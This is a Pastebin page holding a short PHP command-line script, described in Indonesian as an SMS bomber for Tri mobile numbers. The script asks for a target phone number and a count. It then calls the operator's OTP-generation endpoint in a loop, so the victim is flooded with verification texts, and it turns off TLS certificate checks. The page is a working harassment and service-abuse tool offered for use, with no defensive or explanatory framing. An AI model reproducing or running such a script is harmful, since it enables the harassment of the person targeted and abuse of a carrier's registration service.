orie

bom_sms_tri

Jun 13th, 2018
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. <?php
  2.  
  3. echo "
  4. ============================================
  5. Bom Sms Khusu Kartu Tri
  6. Script by: orie
  7. ============================================
  8. ";
  9.  
  10. echo"
  11. =============================================
  12.  
  13. Nomer Tujuan: ";
  14. $nomer=trim(fgets(STDIN));
  15. echo"
  16. =============================================
  17. Jumlah: ";
  18. $Jumlah=trim(fgets(STDIN));
  19.  
  20. function curl($url, $post = false, $data = null) {
  21. $ch = curl_init($url);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  23. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  24. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  25. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  26. curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  27. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  28. if($post) {
  29. curl_setopt($ch, CURLOPT_POST, true);
  30. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  31. }
  32. $curl['exec'] = curl_exec($ch);
  33. $curl['info'] = curl_getinfo($ch);
  34.  
  35. return [
  36. "info" => $curl['info'],
  37. "response" => $curl['exec']
  38. ];
  39.  
  40. curl_close($ch);
  41. }
  42.  
  43. for($i=1;$i <= $Jumlah;$i++){
  44. $post = curl("https://registrasi.tri.co.id/daftar/generateOTP", TRUE, "msisdn=$nomer")['response'];
  45. print "$i $post \n";
  46. }
  47.  
  48. ?>
Advertisement
Add Comment
Please, Sign In to add comment